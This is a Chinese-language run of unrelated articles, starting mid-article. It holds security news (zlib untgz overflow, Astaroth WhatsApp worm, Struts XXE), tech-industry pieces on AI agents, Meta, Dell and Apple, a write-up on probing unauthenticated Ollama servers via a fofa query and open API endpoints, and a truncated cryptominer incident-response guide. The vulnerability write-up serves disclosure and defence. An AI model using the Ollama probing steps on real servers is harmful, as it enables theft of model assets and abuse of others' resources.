研究人员指出：“为避免命名冲突，同时确保表述清晰，本报告中将该恶意软件变种统一称为锈水（RustyWater）。”
随着泥水坑组织持续推进其工具库的现代化升级，相关机构提醒，被攻击目标区域的各类组织需突破传统入侵指标的检测局限，及时更新防护策略，重点加强对编译型恶意软件威胁的防御能力。

一款被 “几乎所有计算机硬件和操作系统” 采用的无损数据压缩引擎 zlib，被曝出一个高危漏洞。该漏洞编号为CVE-2026-22184，属于全球性缓冲区溢出漏洞，其通用漏洞评分系统（CVSS）分值高达9.3，对所有依赖该函数库中untgz工具的系统构成重大威胁。
该漏洞的根源在于untgz工具代码中存在一处基础性内存管理错误。攻击者只需传入一个超长的压缩包文件名，就能触发连锁式内存损坏，轻则造成系统崩溃，在最坏情况下，甚至可以实现远程代码执行。
漏洞的核心问题出在TGZfname()函数中。据漏洞披露信息显示，该函数负责处理通过命令行传入的压缩包文件名，但它存在一个致命缺陷：直接通过无边界检查的strcpy()函数，将攻击者可控的压缩包文件名从argv[]数组复制到一个固定大小为 1024 字节的静态全局缓冲区中。
这段代码在执行复制操作前，并未对输入数据的长度进行校验。这意味着，一旦攻击者传入的压缩包文件名长度超过 1024 字节，数据就会溢出缓冲区边界。
报告中解释道：“当传入的压缩包文件名长度超过 1024 字节时，会引发针对全局缓冲区末端的越界写入操作，进而造成内存损坏。”
该漏洞的极高危险性还体现在其攻击门槛极低这一特点上。存在缺陷的代码位于程序的入口环节，“在执行任何压缩包解析或校验操作之前，就会触发该漏洞代码，攻击者仅通过命令行输入就能轻易利用此漏洞”。
攻击者无需构造复杂的恶意文件结构，只需要在调用该工具时，传入一个 “长度足够的文件名参数” 即可发起攻击。
由于此次溢出针对的是全局静态数组，而非栈上分配的内存空间，因此造成的内存损坏具有极强的隐蔽性。报告指出，“内存损坏的影响可能超出该函数的作用域，对后续程序的运行逻辑产生干扰”，最终导致程序出现未定义行为或直接崩溃。
该漏洞造成的后果根据目标环境的编译器、系统架构以及内存布局的不同而有所差异，影响范围涵盖拒绝服务攻击（DoS） 到潜在代码执行等多个层面。
此漏洞影响范围覆盖所有版本号≤1.3.1.2 的 zlib。相关机构强烈建议，所有使用untgz工具的系统管理员和开发人员，立即评估自身系统的漏洞暴露情况，并尽快部署已修复漏洞的版本，以消除这一高危风险。

臭名昭著的巴西银行恶意软件Astaroth再度完成迭代升级，此次它将目标瞄准全球最主流的即时通讯平台之一，把该平台变成了传播恶意程序的武器。安克诺斯威胁研究团队（Acronis Threat Research Unit）发现，在这场代号为 **“粉河豚（Boto Cor-de-Rosa）”** 的新型攻击活动中，该恶意软件借助网页版 WhatsApp 进行传播，自动向受害者的联系人列表群发恶意消息。
这种攻击路径的转变，标志着银行恶意软件的发展进入了令人担忧的新阶段 —— 其不再局限于传统的邮件钓鱼诱饵，转而利用个人即时通讯场景中天然存在的信任关系实施攻击。
尽管 Astaroth 多年来一直困扰着巴西地区的用户，但此次最新变种新增了一个基于 Python 语言开发、专为 WhatsApp 定制的蠕虫模块。攻击的感染流程始于受害者通过即时通讯软件接收到一个恶意 ZIP 压缩包。
报告指出：“该恶意压缩包的文件名会随每次攻击发生变化，但始终遵循固定命名模式 —— 由数字和十六进制字符组合而成，不同字符段之间用下划线和短横线分隔”，并举例给出样本文件名，例如552_516107-a9af16a8-552.zip。
一旦受害者解压该文件，并运行其中经过伪装的 Visual Basic 脚本，这款恶意软件就会在设备中扎根。但与以往仅窃取账号凭证的攻击目的不同，此次变种会将受感染的设备直接变成一台垃圾消息发送机器人。
这个新增模块的核心目标是实现恶意软件的大规模传播。它会劫持受害者的网页版 WhatsApp 会话，获取其联系人列表，然后自动向列表中的每一位联系人发送恶意消息，以此扩大感染范围。
这款恶意软件的攻击流程极具条理性。它会定期向攻击者的控制端上报攻击数据，统计内容包括成功发送的恶意消息数量、发送失败的尝试次数，以及以 “每分钟发送消息数” 为指标的传播速率。
它甚至具备自我效能计算能力。报告提到：“每发送 50 条消息后，该脚本就会自动计算已处理联系人的占比，以及当前的传播吞吐量”，确保攻击者能够实时掌握恶意软件的扩散态势。
此次攻击的危害不止于恶意软件传播，还会造成严重的隐私泄露。报告披露，该恶意软件组件会将受害者的联系人列表窃取并上传至远程服务器，让攻击者获得一批有效的手机号码资源，为后续攻击行动储备目标数据。
从技术架构来看，Astaroth 仍然属于 **“多语言模块化”** 的恶意威胁。其核心攻击载荷依旧由 Delphi 语言编写，安装程序则采用 Visual Basic 语言开发，而新增的 WhatsApp 蠕虫模块则完全基于 Python 语言实现。
这种多技术栈融合的特点，凸显出威胁行为体的技术适配能力正在不断增强。研究人员发出警示：“Astaroth 将即时通讯平台传播机制与银行凭证窃取功能相结合，这一特性代表了恶意软件演进过程中一个值得高度警惕的趋势”。攻击者通过将技术创新与 “熟人文件传输带来的心理诱导” 相结合，大幅提升了攻击的成功率。
此次攻击行动也为所有用户敲响警钟：社交平台中的信任关系，完全可能被恶意行为体利用。报告在结尾强调：“该攻击活动凸显了用户保持警惕的重要性，尤其是在通过即时通讯平台接收陌生文件时，更需严加甄别”。
企业与个人都必须突破 “仅关注邮件安全” 的防护局限，要意识到，下一个重大安全威胁很可能就潜藏在来自好友的聊天窗口之中。

全球最热门的 Java Web 框架之一曝出底层新漏洞。ZAIT.AI 的安全研究人员发现，Apache Struts 2 存在一个 **“重要级别” 高危漏洞 **，攻击者可利用该漏洞窃取敏感数据，或对企业应用发起破坏性极强的拒绝服务攻击（DoS）。
该漏洞编号为 CVE-2025-68493，攻击目标直指 XWork 组件 —— 这是支撑 Struts 框架运行的命令模式核心组件。漏洞根源在于 XML 配置文件处理机制存在缺陷，导致系统完全暴露在XML 外部实体注入（XXE）攻击的风险之下。
从本质来看，该漏洞是数据验证机制失效所致。研究报告指出，“XWork 组件对 XML 配置文件的解析过程未采取合规的验证措施”，这为攻击者注入恶意外部实体开辟了可乘之机。
当应用程序处理被篡改的 XML 文件时，可能会被诱骗去加载外部恶意资源。此漏洞可能引发三重安全隐患：“数据泄露、拒绝服务攻击、服务器端请求伪造（SSRF）”。
这意味着攻击者可强制服务器泄露本地文件，或通过耗尽系统资源导致服务瘫痪，甚至能绕过防火墙，向内部隐藏系统发起未授权访问请求。
该漏洞的影响范围极为广泛，波及多个版本的 Struts 框架，包括已停止支持（EOL）的旧版本。受影响软件版本如下：
  • Struts 2.0.0 至 2.3.37（已停止支持）
  • Struts 2.5.0 至 2.5.33（已停止支持）
  • Struts 6.0.0 至 6.1.0
Apache Struts 官方团队建议各机构 **“至少升级至 Struts 6.1.1 版本”**，以彻底修复该安全漏洞。值得庆幸的是，报告指出 “此次版本更新具备向后兼容性”，意味着升级操作不会导致现有应用程序出现故障。
对于暂时无法立即升级的旧版本用户，官方也提供了应急解决方案。缓解措施包括：使用自定义的 SAXParserFactory 组件并禁用外部实体功能；或通过 JVM 级别的配置项阻断外部 DTD 与 Schema 访问，例如设置系统属性 -Djavax.xml.accessExternalDTD=""。

科技云报道原创。

 

面对越来越激烈的商业竞争，企业是否还困在机械重复的流程里打转？系统一更新，自动化脚本就失效；遇到企业流程规则调整，系统需要重新配置；投入越多人力维护，效率提升却越乏力？

 

RPA一直以来都是企业降本增效的“得力干将”，用精准执行终结了无数重复性劳动，成为数字化升级的标志性技术。如今，随着Agent的崛起，自动化技术正迎来关键变局。

 

Ovations Technologies首席技术官Deon van Niekerk表示：“真正的生产力革命，必然是认知决策与精准执行的协同共振。”

 

Agent与RPA的深度融合，形成了“Agent懂业务、RPA懂执行”的清晰分工：Agent将非结构化数据转化为明确指令，RPA在企业系统中完成稳定可控的批量操作，通过清晰分工实现了从单点任务自动化到多场景价值交付的跨越，正推动企业业务从“智变”迈向“质变”。

 

 

RPA+Agent，1+1>2

 

自动化技术的演进，始终围绕着“解放人力”的核心诉求。从早期的脚本自动化，到RPA的可视化流程搭建，再到当下Agent驱动多场景提效，每一次迭代都源于企业对效率提升的迫切需求。

随着智能化时代来临，企业对自动化的需求早已超越“替代重复劳动”，以业务为核心，结合流程的精准执行，成为企业释放数字生产力的关键。

 

当RPA成为行业标配，单纯的效率提升已无法为企业构建竞争壁垒，企业需要通过RPA的持续进化打造不可复制的优势。

 

随着RPA的发展，其对业务的价值已从“效率提升工具”进化为“业务赋能者”，通过与AI的技术融合，为支撑业务创新、实现可持续发展提供重要支撑。

 

当RPA遇上Agent，“手脚”和“大脑”的互补融合便成为企业提高自动化效率的最佳路径。Agent负责“看懂”和“想清楚”，RPA负责“做对、做完、可复盘”，两者协同打通智能时代的自动化全链路。

 

 

Agent作为智慧“大脑”的角色，基于AI的自主决策能力，擅长复杂场景的智能决策。

 

Agent具备强大的认知与决策能力，能够理解自然语言意图，处理合同、邮件等非结构化数据，并根据实时情况自主规划任务流程。

 

即使面对系统报错或界面变化等异常情况，Agent也能可通过推理进行动态调整，显著提升了自动化的稳定性与适应性。

 

而RPA则是麻利的“手脚”，其优势集中于标准化流程的高效自动化，是企业降本增效、规范合规的“工具型”解决方案。

 

RPA专为规则明确、重复性高的结构化流程设计，模拟人类在计算机上的操作（如数据录入、表单填写、系统对账等），实现流程全自动化执行。

 

其部署周期短，前期投入低，通过零代码/低代码部署，企业无需改造现有IT系统，能够快速适配财务发票审核、HR人力流程、电商订单处理等标准化场景，且无需专业技术团队深度参与，中小企业也能快速应用，大幅减少人为操作错误，同时降低人力成本，是企业降本增效的有力工具。

 

RPA+Agent的进化本质上是RPA从“工具属性”向“伙伴属性”的转变。它不再是人类的“执行助手”，而是能理解业务逻辑、适配动态场景、协同解决复杂问题的“智能同事”。

这种“Agent 做决策、RPA 做执行”的协同模式，正在实现企业向业务智能化方向全面进阶。

 

 

聚焦场景释放价值

 

IDC报告显示，2025年，RPA与AI的深度融合正成为重塑企业运营效率的核心引擎。研究显示，中国RPA+AI解决方案市场规模在2023年已达24.7亿元人民币，并预计在2026年突破70亿元大关。

 

Gartner将AI与RPA的融合模式定义为“组合式自动化”（Composable Automation），其核心是像搭积木一样动态编排数字员工，快速响应市场变化。

 

这种模式下，企业可以根据业务需求，灵活组合Agent、RPA、数据分析等能力，构建个性化的自动化解决方案，无需从零开发。

 

从RPA向RPA+Agent发展，不仅是自动化工具的技术迭代，更是智能生产力从“流程执行层”向“决策协同层”的跨越，标志着人机协同进入到全新阶段。而艺赛旗的实践，正是这一方向的典型代表。

 

去年10月，艺赛旗企业级自动化平台再度升级，通过AI Center、Agent+RPA一体化、智能组件三大技术能力，完成了从“流程自动化”到“智能体自主协同”的跃迁，既保留了RPA的稳定高效，又赋予了自动化“主动决策、灵活协作”的智能属性，帮助企业在降本提效的同时，构建更具适应性的数字化业务体系。

 

作为本次升级的核心模块，AI Center实现了智能体与业务流程的全自定义适配，技术能力覆盖零代码和低代码双模式智能体构建。

 

 

零代码构建支持企业用户通过可视化界面，自主配置智能体调用的内部工具、数据接口，无需技术背景即可快速搭建能解决复杂业务任务的智能体。

 

低代码开发提供拖拽式操作界面，支持主流大语言模型（如GPT、通义千问等）的即连即用，大幅降低智能体的开发门槛。

 

这一模块让自动化从“被动执行指令”升级为“主动理解意图、自主决策任务”，例如智能体可自动识别财务报表中的异常数据，并主动调用RPA流程完成溯源与修正。

 

而Agent+RPA一体化则实现了智能体与流程的无缝协同。通过iS-RPA设计器与AI Center的深度技术融合，构建了“智能体调度流程+流程调用智能体”的双向协作机制。

 

一方面，智能体可根据业务场景的动态需求，自主调用预设的RPA流程库（如合同审核流程、发票验真流程），实现业务逻辑的智能化编排，避免人工干预流程衔接。

 

另一方面，在RPA执行过程中，若遇到非标准化任务（如客户邮件的情感分析、非结构化数据的提取），可直接调度智能体完成决策，让自动化流程从“机械执行”转向“灵活应变”。

 

这一方式打破了智能体与自动化流程的技术边界，不仅是功能的整合，更是范式的进化，让每个业务流程都具备“思考+执行”的双重能力。

 

例如采购流程中，智能体可先分析需求优先级，再调度RPA完成供应商比价与下单。

 

为进一步降低自动化开发门槛，艺赛旗引入全新的智能组件体系，以大语言模型的理解与推理能力为核心，实现自然语言驱动开发。

 

通过自然语言指令，系统可自动识别网页元素、完成表格抓取、数据提取、表单填写等操作，替代以往RPA的“录屏式配置”，大幅降低网页操作的开发成本。

非技术人员仅需通过文字描述业务需求，即可完成自动化流程的搭建，真正实现“会表达就能会开发”。

 

智能协同 突破边界

 

从RPA的机械执行到RPA+Agent的智能协同，自动化技术的每一次迭代，都在突破企业业务自动化的边界，实现从“流程自动化”到“业务智能”的核心跃迁。

 

RPA作为数字化时代的重要生产力工具，正以前所未有的速度改变着企业的运营模式。

 

从基础的流程自动化到智能化的深度融合，RPA不断进化，为企业带来了效率提升、成本降低、风险可控等诸多优势。

 

展望未来，随着技术的持续创新与应用场景的不断拓展，RPA必将在企业数字化、智能化的进程中扮演更为重要的角色，通过让自动化体系深度融入业务核心环节，成为企业提升核心竞争力、应对市场变化的关键支撑，为企业发展注入源源不断的创新动力。

 

【关于科技云报道】

 

专注于原创的企业级内容行家——科技云报道。成立于2015年，是前沿企业级IT领域Top10媒体。获工信部权威认可，可信云、数博会、国家网安周与全球云计算等大型活动的官方指定传播媒体之一。深入原创报道云计算、人工智能、大模型、网络安全、大数据、区块链等企业级科技领域。

 

Meta 的 AI 堡垒：高风险技术转型中的创新封锁

在飞速迭代的人工智能领域，Meta 平台公司（Meta Platforms Inc.）做出了惊人转变 —— 摒弃开源根基，转向严密管控的闭源模式。这一战略调整于 2026 年初宣布，背后是其 LLaMA 模型表现不及预期，以及来自 OpenAI、谷歌等竞争对手的压力日益加剧。据《24/7 华尔街》（24/7 Wall St.）近期分析，Meta 的闭源决策被视为 “关键制胜之举”，有望帮助这家社交媒体巨头在 AI 军备竞赛中重新站稳脚跟。
这一转变背离了 Meta 此前的开放理念 —— 过去，该公司一直以普惠 AI 技术的倡导者自居。多年来，Meta 通过开源许可发布了 LLaMA 等模型，培育了庞大的开发者和研究社区。然而，内部评估显示，这种模式并未为 Meta 带来渴望的竞争优势。有消息称，LLaMA 在关键基准测试中未能达到预期，促使高管们重新审视战略。这一举措也契合了行业大趋势：如今，闭源系统越来越被视为保护知识产权、创造营收的核心保障。
Meta 首席执行官马克・扎克伯格亲自主导了此次变革，强调必须打造用户愿意付费的 AI 模型。据彭博社（Bloomberg）报道，扎克伯格的亲力亲为包括组建史上最昂贵的 AI 团队，目前该团队正专注于开发可直接商业化的闭源系统。

开源野心背后的不满根源

行业内批评者认为，Meta 的开源战略在无意间助力了竞争对手。通过免费开放先进模型，该公司可能在自身难以从创新中获利的同时，加速了他人的技术进步。科技圈内人士在社交平台 X（前推特）上的帖子流露出不满情绪，部分用户指出，Meta AI 部门的招聘冻结和裁员是内部动荡的信号。这些社交媒体讨论凸显出一个日益普遍的共识：开源举措削弱了 Meta 的竞争优势。
此外，此次战略转型还伴随着大规模的基础设施投资，包括一项重大核能合作。据《财经内容》（FinancialContent）的深度报道，2026 年 1 月 9 日，Meta 宣布与奥克洛公司（Oklo Inc.）等企业达成合作，为其数据中心获取千兆瓦级核能。这一 “核能驱动的 AI 转型” 旨在满足闭源模型训练所需的巨大能源需求，彰显了 Meta 在摆脱开放协作脆弱性的同时，实现规模扩张的决心。
这一能源战略不仅关乎电力供应，更是一场地缘政治布局。Meta 全球事务总裁乔尔・卡普兰在接受《福克斯商业新闻》（Fox Business）采访时表示，这些投资将帮助美国在与中国的 AI 竞赛中 “胜出”。通过掌控本土核能资源，Meta 有望确保下一代 AI 所需的计算能力不受国际供应链风险影响，实现持续获取。

内部动荡与领导层变动

Meta 内部的转型之路并非一帆风顺。在 AI 领域的全面改革过程中，公司遭遇了员工离职和士气低落等问题。《商业内幕》（Business Insider）的一篇文章将 2025 年描述为 Meta 的 “高压之年”—— 文化变革、裁员和绩效整顿引发了内部冲突。据美国全国广播公司财经频道（CNBC）报道，Meta 前首席 AI 科学家杨立昆（Yann LeCun）公开批评这一新方向，称这位 29 岁的 AI 负责人 “缺乏经验”，并预测将出现员工大规模流失。
杨立昆的离职凸显了更深层的 “研究者与执行者” 分歧。他在采访中指责 Meta 篡改 LLaMA 4 的基准测试结果，并拒绝 “世界模型” 等创新方案，转而执着于更大规模的语言模型。行业观察人士在 X 上的帖子也呼应了这一观点，认为 Meta 陷入了传统思维的循环，而竞争对手却在投资突破性理念。这种内部分歧让人质疑，闭源战略是否能孕育出真正 AI 突破所需的创造力。
尽管面临这些挑战，分析师仍持乐观态度。杰富瑞（Jefferies）在《雅虎财经》（Yahoo Finance）的报道中列出了 Meta 2026 年可能表现出色的五大原因，包括其 AI 能力和广告技术的进步。该公司重申了 “买入” 评级，目标价定为 910 美元，押注 Meta 能够利用闭源 AI 实现营收增长。

驱动变革的盈利迫切性

Meta 战略转型的核心是对盈利能力的追求。开源模型虽具创新性，却未能转化为直接收入来源。通过转向闭源 AI，Meta 可以提供高端服务，例如向企业用户收费开放集成于 Facebook、Instagram 等平台的先进模型。这与竞争对手的策略不谋而合 —— 闭源技术是其高利润企业解决方案的核心支撑。
这一举措还回应了监管与伦理层面的担忧。借助闭源系统，Meta 能更好地掌控其 AI 的使用场景，潜在降低诈骗、虚假信息等滥用风险。路透社（Reuters）的一项调查披露了 Meta 应对诈骗压力的内部 “操作手册”，包括加大欺诈广告的识别难度。在闭源生态中，此类管控措施的实施效率将大幅提升。
此外，该战略与 Meta 逐步退出元宇宙投资的大方向相一致。X 上的帖子显示，Meta 计划将元宇宙部门成本削减高达 30%，并将资源重新投向 AI 领域。这种重心调整有望精简运营流程，提升投资者信心 —— 此前元宇宙的低迷表现曾导致公司股价大幅波动。

竞争压力与市场影响

在更广阔的科技领域，Meta 的转型可能标志着行业向闭源 AI 靠拢的大趋势。《街报》（TheStreet）的分析指出，这一变化将赋予谷歌新的优势，同时给英伟达投资者带来不确定性，因为专用硬件的需求格局正在演变。Meta 对闭源模型的重视可能会给开源倡导者带来压力，重塑全球 AI 的发展模式。
财务层面，此次转型得到了巨额资金支持。据彭博社报道，Meta 的核能合作使其成为全球最大的企业级核能采购商之一，目标是到 2035 年获取高达 6.6 千兆瓦的核能。这一基础设施投资凸显了其中的高风险：AI 训练需要消耗海量能源，而 Meta 正豪赌核能能支撑其雄心。
然而，挑战依然存在。X 上的批评者认为，Meta 的模式缺乏吸引顶尖人才的声誉，部分帖子质疑其推出突破性产品的能力。埃里克・梅耶尔（Erik Meijer）在平台上的相关讨论中提出，仅靠资金无法解决 Meta 的人才困境，因为有些文化问题是金钱难以弥补的。

不确定性中的战略优势

潜在的优势十分诱人。通过闭源模式，Meta 可以在无需担心模仿的情况下加速创新，有望实现更精准的广告定向和更优质的用户体验。《AI 日报》（AI Daily）的一篇文章将 Meta 列为 2026 年顶级 AI 股票之选，重点关注其 LLaMA 4 的进展 —— 尽管战略已转向闭源。这可能使其在个性化广告这一核心收入来源上超越竞争对手。
地缘政治层面，该战略增强了美国的技术主权。卡普兰在《福克斯商业新闻》中的言论强调，核能自主将对抗中国的 AI 进步，确保 Meta—— 进而确保美国科技 —— 保持主导地位。
但前路充满荆棘。X 上的报道显示，Meta 对 AI 部门的裁员等内部重组表明，调整仍在持续。Axios 指出，Meta 正努力精简官僚机构，力求在这个速度至关重要的领域保持灵活性。

长期愿景与行业涟漪

展望未来，Meta 的闭源 AI 战略可能会重新定义其在科技生态系统中的角色。将闭源 AI 整合到其庞大的用户基础中，将带来独特优势 —— 从强化内容审核，到在剩余的元宇宙愿景中打造沉浸式体验。
包括 X 平台用户在内的行业观察家推测了其连锁反应。Polyhedra 的帖子讨论了 Meta 转向闭源训练的举措，认为这将限制外部可见性，可能抑制协作进展。这或许会导致 AI 开发环境更加碎片化，巨头企业囤积技术进步成果。
归根结底，Meta 的转型反映了 AI 战略的成熟 —— 将可持续性和盈利置于理想主义之上。在公司应对这些变革的过程中，其成功将取决于能否平衡创新与执行、人才留存与伦理治理。以核能为动力，Meta 正定位自身不仅是社交媒体巨头，更是一座坚不可摧的 AI 强国，准备在未来十年占据主导地位。


过去两年间，科技行业的领军者 —— 包括英特尔（Intel）、超威半导体（AMD）、高通（Qualcomm）等芯片巨头，以及软件架构巨头微软（Microsoft）—— 都在不遗余力地推广 “AI PC” 概念，试图推动一轮大规模硬件更新周期。然而，戴尔（Dell）近期坦诚承认：对绝大多数消费者而言，人工智能尚不足以成为购买新电脑的动力，甚至可能产生反效果。据《PC 玩家》（PCGamer）报道，戴尔已意识到，行业内铺天盖地的 “AI PC” 营销操作，与终端用户的实际需求之间存在巨大脱节。
戴尔方面表示，尽管公司仍致力于集成神经处理单元（Neural Processing Units, NPUs）并强化设备端推理能力，但市场实证表明，将 AI 定位为核心卖点 “未能有效刺激销量”。对普通消费者（而非科技爱好者）而言，AI 不仅无法激发购买热情，反而常引发他们对数据隐私安全和实际用途模糊性的疑虑。戴尔的观察显示，理性消费者仍将决策锚定在传统实用指标上：价格、性能、电池续航与可靠性。
与行业执着于 “每秒万亿次运算（TOPS）” 和专属 “Copilot 键” 不同，用户更看重设备的耐用性、运行流畅度和实际价值。这一现象凸显出当前消费级 AI 领域的关键短板：缺乏一款能打动用户的 “杀手级应用（Killer App）”，导致用户不愿为 “理论上的好处” 升级硬件。正因如此，在 2026 年国际消费电子展（CES 2026）上，戴尔发布的 XPS 系列笔记本调整了宣传方向，将重点转向便携性与耐用性。为提升该系列的高端定位，戴尔还采取了大胆的品牌策略：机身标识用 “XPS” 取代原有的 “Dell” logo，且宣传材料中刻意弱化了 AI 功能的提及。
尽管承认营销方向与用户需求存在偏差，戴尔仍强调，AI 仍是未来硬件更新周期的重要长期驱动力。行业共识认为，AI 必须从单纯的 “热门概念” 转变为无缝、可感知的实用工具，而实现这一转变的关键在于构建更完善的软件生态，而非简单堆砌硬件参数。戴尔的坦诚，实则揭开了行业内的 “公开秘密”：2024 至 2026 年间，尽管 NPU 的设备渗透率不断提升，但对普通办公和网页浏览等常规场景的体验提升微乎其微。
当 Windows Copilot 等功能仍依赖云端连接，且设备端生成式 AI 能力表现平平之时，消费者自然会回归理性，对比屏幕画质、设备续航等实际参数。AI PC 并非虚幻概念，其发展路径类似早期 5G 手机 —— 必须先搭建好硬件基础，后续才能出现足以证明其价值的软件应用。除非人工智能能进化为类似 Wi-Fi 那样 “无形却不可或缺” 的基础设施，否则过度宣传反而可能引发消费者的抵触情绪，让他们觉得自己是在为冗余功能支付溢价。

苹果与谷歌已正式确认，下一代 Siri 将采用 Gemini 模型与 Google Cloud，双方达成一项为期多年的合作。
此前，苹果一直为 Siri 使用自研 AI 模型，但在性能上与 GPT、Gemini 甚至 Copilot 相比都显得力不从心。
如今，苹果与谷歌开启了多年合作。作为合作的一部分，未来版本的 Siri 将基于 Gemini 模型 运行。
此外，苹果的 Foundation Models（基础模型） 将以谷歌的 Gemini 为底层，并部署在谷歌云平台上。

谷歌在一份新闻稿中表示：

“这些模型将为未来的 Apple Intelligence 功能提供支持，包括将于今年推出的更具个性化的 Siri。”

苹果方面称：

“经过审慎评估，苹果认为谷歌的 AI 技术为 Apple Foundation Models 提供了最强大的基础，并对其将为苹果用户带来的创新体验感到兴奋。”

苹果强调，Apple Intelligence 将在苹果设备与 Private Cloud Compute（私有云计算） 上运行，公司长期坚持的隐私承诺 不会受到任何影响。

Apple Intelligence 的发展历程一直充满波折

Siri 问世至今已超过十年。尽管它曾是最优秀的 “个人助手” 之一，但如今的大型语言模型（LLMs）在能力上已远超苹果的实现。
在 2024 年的 WWDC 上，苹果宣布正在开发 Apple Intelligence，其中也包括一个更具 AI 能力的 Siri，例如支持个人上下文理解与屏幕内容感知。
然而，这些功能一再延期。
部分功能最终上线，但用户抱怨 Apple Intelligence 的准确性不佳，在执行复杂指令时经常失败。
尽管苹果的 AI 体验本应以 “安全” 和 “隐私友好” 为卖点，但最终呈现的初始体验却远未达到革命性的高度。
如今，苹果与谷歌合作，借助 Gemini 升级 Siri 体验。但这是否能实现苹果曾经承诺的那种革命性突破？只有时间能给出答案。

0x01 组件简介

近期由于Deepseek爆火，大部分企业和个人都开始部署AI。Ollama是一个本地私有化部署大语言模型（LLM，如DeepSeek等）的运行环境和平台，简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点，在AI领域得到了较为广泛的应用。

fofa语法：app="Ollama"

0x02 漏洞描述

近日，Ollama存在安全漏洞，该漏洞源于默认未设置身份验证和访问控制功能，未经授权的攻击者可在远程条件下调用Ollama服务接口，执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。

0x03 影响版本

Ollama所有版本均受此漏洞影响。

0x04 漏洞验证

随机找一个靶机看看
出现Ollama is running，即证明存在未授权访问的漏洞

574X249/image.png

漏洞验证

通过查看Ollama api文档，Ollama提供了多个API 端点，用于执行不同的操作

详细情况查看：https://ollama.cadn.net.cn/api.html

/api/generate 用于生成文本或内容。通常用于基于给定的输入生成响应或输出，例如生成对话回复、文章等。
/api/chat 专门用于聊天交互。用户可以通过此端点与模型进行对话，模型会根据输入生成相应的回复。
/api/create 用于创建新的模型或资源。可能涉及初始化一个新的模型实例或配置。
/api/ps(或者tags) 用于管理或查看模型的标签。标签可以帮助用户对模型进行分类或标记，便于管理和查找。
/api/show 用于显示模型或资源的详细信息。用户可以获取模型的配置、状态或其他相关信息。
/api/copy  用于复制模型或资源。用户可以通过此端点创建一个现有模型的副本。
/api/delete 用于删除模型或资源。用户可以通过此端点移除不再需要的模型或数据。
/api/pull 用于从 Ollama 下载模型。用户可以通过此端点将模型从远程服务器拉取到本地环境中。
/api/push 用于将模型上传到 Ollama。用户可以通过此端点将本地模型推送到远程服务器。
/api/embeddings 用于生成文本的嵌入向量。嵌入向量是文本的数值表示，通常用于机器学习任务中的特征提取。
/api/version 用于获取 Ollama 的版本信息。用户可以通过此端点查询当前使用的 Ollama 版本。

漏洞利用

在未授权情况，可以通过访问/api/ps（使用GET请求即可） 获取目前搭建的所有模型信息。

1035X775/image.png

通过返回信息可以看到采用的是deepseek-r1模型，通过刚才我们知道的接口端点信息，我们可以调用/api/chat（使用POST请求）来完成聊天请求，消耗资源。

1825X819/image.png

通过引导deepseek回答问题的过程中也能造成一些信息的泄露

所以在未授权的情况下，其他的接口都是可以用的，危害极大，可以通过调用那些危险接口进行操作，可对模型进行创建或删除的操作

0x05 漏洞影响

通过以上过程，我们可以看到该漏洞危害极大，且该漏洞利用难度也极低，可以通过未授权对大模型进行操作

0x06 修复建议

  1. 限制公网访问：尽量避免直接将 Ollama 服务端口（默认 11434）暴露在公网。  

  2. 配置网络访问控制：通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口，阻止非授权 IP 的访问请求。 

0X07 参考链接

https://github.com/ollama/ollama/blob/main/docs/faq.md

0x08 免责声明

本文所涉及的任何技术、信息或工具，仅供学习和参考之用。

请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。

作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。

挖矿病毒应急响应处置手册

0x00 概述

通常来说，当我们的服务器或PC资源(CPU)使用率接近或超过100%，并持续高居不下导致服务器或PC操作延缓，我们就可以判定被挖矿。

常见挖矿其它特征如下：

  • 服务器或PC访问过不受信任的地址，这些地址包括：主机、IP、域名。这是由于大部分挖矿都需要从一个不受信任的地址下载初始化程序，而不受信任的来源主要是：第三方情报结构，企业内部历史数据沉淀。

  • 服务器或PC新增异常或恶意文件、进程或服务，并且大部分异常文件保存在服务器或PC的TMP目录中。

  • 服务器或PC的定时任务发生变更。

0x01 了解基本情况

1.1 如何发现

挖矿木马显著的行为特征就是极大的占用CPU及GPU和硬盘资源主要包括：高CPU和GPU、硬盘使用率、响应速度慢、崩溃或频繁重新启动、系统过热、异常网络活动（例如，连接挖矿相关的网站或IP地址）。其次是在网络流量中，挖矿木马通信过程采用专门的通信协议，因此存在一定的网络通信特征，因为要连接矿池，网络特征较多的都是TCP。

1.1.1 异常外联

  • 安全设备告警
  • 流量监控设备
  • 工作人员人工发现
  • ...

事件发生时的状况或安全设备告警等，能帮助应急处置人员快速分析确定事件类型，方便前期准备。

1.1.2 主机异常

  • CPU、GPU占用过高
  • 主机温度异常
  • 其他异常

可获取CPU占用过高进程信息

1.2 事件的时间节点

  • 出现事件时间
  • 发现事件时间
  • 处置事件时间

了解事件发生时间节点：出现事件时间、发现事件时间、处置事件时间，确定这三个时间节点后，可通过时间相关性推算挖矿病毒产生大致时间，有助于后续挖矿病毒发现及清理。

1.3 临时处置情况

了解挖矿病毒临时处置的情况，方便后期的排查

1.4 网络拓扑情况

获取网络构架，网络构架一般来讲是要拓补图，详细的拓扑图可以协助还原攻击流程时，准确定位网络连接方向。

0x02 判断是否属于挖矿

根据了解到的基本信息来判断和确认是否挖矿事件

2.1 属于挖矿

2.1.1 根据告警和流量信息初步判断挖矿类型

在不影响主业务运行的情况下，拔掉受害主机网线，并且切断网络连接可使挖矿现场尽量保持完整，有助于接下来的溯源工作顺利开展。

可以先根据告警和流量信息初步判断挖矿类型，在互联网收集相关情报，若有相关分析文章可提高事件处置效率。

2.1.2 windows

2.1.2.1 信息收集
  • CPU占用

打开 cmd 窗口，输入 resmon 命令，通过资源监视器，找出CPU占用过高的程序，找到PID和进程名。

image-20220221150219601

  • 网络连接

1、使用netstat -ano 命令查看目前的网络连接，定位可疑的 ESTABLISHED

2、根据 netstat 命令定位出的 PID 编号，再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

netstat -ano
tasklist | findstr "PID"

image-20220221144734582

  • 端口

查看Windows服务所对应的端口：%systemroot%/system32/drivers/etc/services

  • 可疑用户

